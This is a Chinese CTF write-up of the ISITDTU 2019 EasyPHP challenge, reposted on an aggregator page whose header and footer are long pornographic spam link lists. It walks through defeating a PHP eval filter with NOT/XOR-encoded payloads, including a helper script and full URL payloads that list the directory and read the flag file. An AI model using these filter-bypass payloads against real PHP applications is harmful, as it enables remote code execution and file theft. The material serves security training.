日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > php >内容正文

php

[ISITDTU 2019]EasyPHP

發(fā)布時(shí)間:2023/12/20 php 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [ISITDTU 2019]EasyPHP 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
<?php highlight_file(__FILE__);$_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');eval($_); ?>

審計(jì)代碼得知,我們需要滿足兩個(gè)if語(yǔ)句,先看第一個(gè)if語(yǔ)句:

$_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');

我們要get傳入_,并且php會(huì)對(duì)_進(jìn)行正則匹配,過(guò)濾的內(nèi)容很多,\x00(NULL)-\x20(Space)、數(shù)字0-9、字符`、"、$&等,有點(diǎn)像無(wú)字符數(shù)字rce,可以取反繞過(guò),再看第二個(gè)if

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');

strtolower()函數(shù):PHP strtolower() 函數(shù) | 菜鳥(niǎo)教程,就是將傳入的_轉(zhuǎn)換為小寫(xiě),count_chars()函數(shù):PHP count_chars() 函數(shù) | 菜鳥(niǎo)教程,count_chars(string,mode)根據(jù)mode的值檢查string中出現(xiàn)的字符串,在本題中mode=3,字符串,帶有所有使用過(guò)的不同的字符,例如:

而strlen()函數(shù)則是返回字符串的長(zhǎng)度,在本題中檢查字符串的長(zhǎng)度是否大于十三,如果字符串長(zhǎng)度大于十三就die了。先使用取反來(lái)查看phpinfo():

<?php print(urlencode(~'phpinfo')); ?>

輸出結(jié)果為%8F%97%8F%96%91%99%90,get傳值試一下

沒(méi)有回顯,換一種取反方式異或%FF,payload:/?_=((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))();

成功回顯,查看一下禁用函數(shù)?

禁用了很多的函數(shù),但是我們?nèi)钥梢杂胹candir()、var_dump()、readfile()、print_r()等來(lái)查看目錄,并讀取flag,先print_r(scandir(.))輸出當(dāng)前目錄下的內(nèi)容

<?php echo(urlencode(~'print_r')); echo nl2br("\n"); echo(urlencode(~'scandir')); echo nl2br("\n"); echo(urlencode(~'.')); ?>

輸出結(jié)果為:%8F%8D%96%91%8B%A0%8D %8C%9C%9E%91%9B%96%8D %D1,構(gòu)造payload:/?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));

有回顯,但是被第二層if給攔截了,一定是我們的payload沒(méi)有通過(guò)strlen(count_chars(strtolower($_), 0x3))的檢查,測(cè)試一下

<?php print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3))); ?>

測(cè)試長(zhǎng)度為16確實(shí)超出了規(guī)定范圍,這個(gè)時(shí)候我們可以使用異或的方法通過(guò)已存在的字符構(gòu)造出來(lái)字符來(lái)代替三個(gè)其中的字符,這樣長(zhǎng)度就從16縮到了13,選擇使用pscadi來(lái)代替ntr,python腳本

str = 'pscadi' target = 'ntr'for m in target:for a in str:for b in str:for c in str:if ord(a) ^ ord(b) ^ ord(c) == ord(m):print("{} = {}^{}^{}".format(m, a, b, c))

運(yùn)行出來(lái)很多結(jié)果,我們各取第一個(gè)即:n = c^d^i、t = s^c^d、r = p^c^a,替換后的

print_r:(%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)

scandir:(%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)

先檢驗(yàn)一下,腳本:

<?php print(urldecode('%8F%9E%96%9C%9C%A0%9E')^urldecode('%FF%9C%FF%9B%9B%FF%9C')^urldecode('%FF%8F%FF%96%8C%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF')); print("\n"); print(urldecode('%8C%9C%9E%9C%9B%96%9E')^urldecode('%FF%FF%FF%9B%FF%FF%9C')^urldecode('%FF%FF%FF%96%FF%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF')); ?>

測(cè)試結(jié)果是正確的,直接就可以構(gòu)造新的payload:/?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

回顯成功,flag應(yīng)該在n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt內(nèi),可以看到文件名太長(zhǎng)了,而且還在數(shù)組的最后一位,很有可能會(huì)報(bào)錯(cuò),直接readfile(end(scandir(.))),構(gòu)造payload:/?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

測(cè)試一下:

<?php echo(urldecode('%8D%8D%8D%8D%8D%8D%9E%8D')^urldecode('%9A%8D%8D%8D%8D%8D%9B%8D')^urldecode('%9A%9A%9E%9B%99%96%96%9A')^urldecode('%FF%FF%FF%FF%FF%FF%FF%FF')); echo nl2br("\n"); echo(urldecode('%8D%9E%8D')^urldecode('%8D%99%8D')^urldecode('%9A%96%9B')^urldecode('%FF%FF%FF')); echo nl2br("\n"); echo(urldecode('%8D%9E%8D%9E%8D%8D%8D')^urldecode('%9A%9B%8D%99%8D%8D%9A')^urldecode('%9B%99%9E%96%9B%96%9A')^urldecode('%FF%FF%FF%FF%FF%FF%FF')); echo nl2br("\n"); echo(urldecode('%D1')^urldecode('%FF')); ?>

測(cè)試正確,get傳值就可以了?

總結(jié)

以上是生活随笔為你收集整理的[ISITDTU 2019]EasyPHP的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 伊人www22综合色 | 明里柚番号| 天堂激情网 | 国产精品久久久久野外 | 免费黄色在线视频 | 中文字幕在线资源 | 免费毛片av | 人人99 | av网站有哪些 | 91精品综合久久久久久 | 亚洲一区国产精品 | 久艹在线视频 | 狼人色综合 | 日本成人激情视频 | 日韩精品第一区 | 欧美熟妇精品一区二区蜜桃视频 | 日韩精品一二三四 | 人善交videos欧美3d动漫 | 免费av网站在线观看 | 成人免费视频国产 | 国产成人无码精品久久 | 91超薄肉色丝袜交足高跟凉鞋 | 一区二区三区高清 | 激情视频免费观看 | 三级黄色网 | 香蕉视频在线网站 | 九一精品视频 | 中国女人内96xxxxx | 免费看av大片 | 亚洲图片欧美在线看 | 久久av导航 | 伊人av综合网 | 日本一区二区色 | 欧美区日韩区 | 亚洲成人国产精品 | 欧美成人三级在线视频 | 毛片视频网站在线观看 | 国产精品一区二区毛片 | 比利时xxxx性hd极品 | 中国女人裸体乱淫 | 在线免费观看www | 一区二区三区在线播放 | japanese24hdxxxx日韩 | 亚洲在线视频观看 | 蜜桃视频一区二区三区在线观看 | 8090av| 一区二区在线视频观看 | 色综合社区 | 日韩视频二区 | 东京久久 | 严厉高冷老师动漫播放 | 国产激情视频在线播放 | 国产嫩草影院久久久久 | 免费观看黄色av | 7m精品福利视频导航 | 夜夜艹| 久草资源网站 | 成人在线视频观看 | 国产精品一区2区 | 深夜成人在线观看 | 国产另类在线 | 国产一区二区三区在线看 | 日本黄色片段 | 少妇高潮大叫好爽喷水 | 天天插视频 | 午夜影音 | 69精品无码成人久久久久久 | 在线不欧美 | 色图综合网| 亚洲精品婷婷 | 成人短视频在线观看 | 神马久久精品 | 久久人人精品 | 日韩在线观看av | 日本xxx在线观看 | 亚洲人成电影在线 | 91精品国产闺蜜国产在线闺蜜 | 91天天 | 在线观看亚洲a | 久草视频福利在线 | 精品人人人 | 亚洲日本片| 国产伦精品一区二区三区88av | 精品一区二区三区四区五区六区 | jizz少妇 | 中文字幕超碰在线 | 在线啪| 女人脱下裤子让男人捅 | 成人免费观看视频网站 | 丰满岳乱妇在线观看中字无码 | 超在线视频 | 中文字幕永久在线观看 | 日日骚一区二区 | 怨女1988国语版在线观看高清 | 免费在线激情视频 | 中文字幕在线观看日韩 | 黄色片网战 | 亚洲精品国产精品国自产网站按摩 | 亚洲天堂视频在线观看 |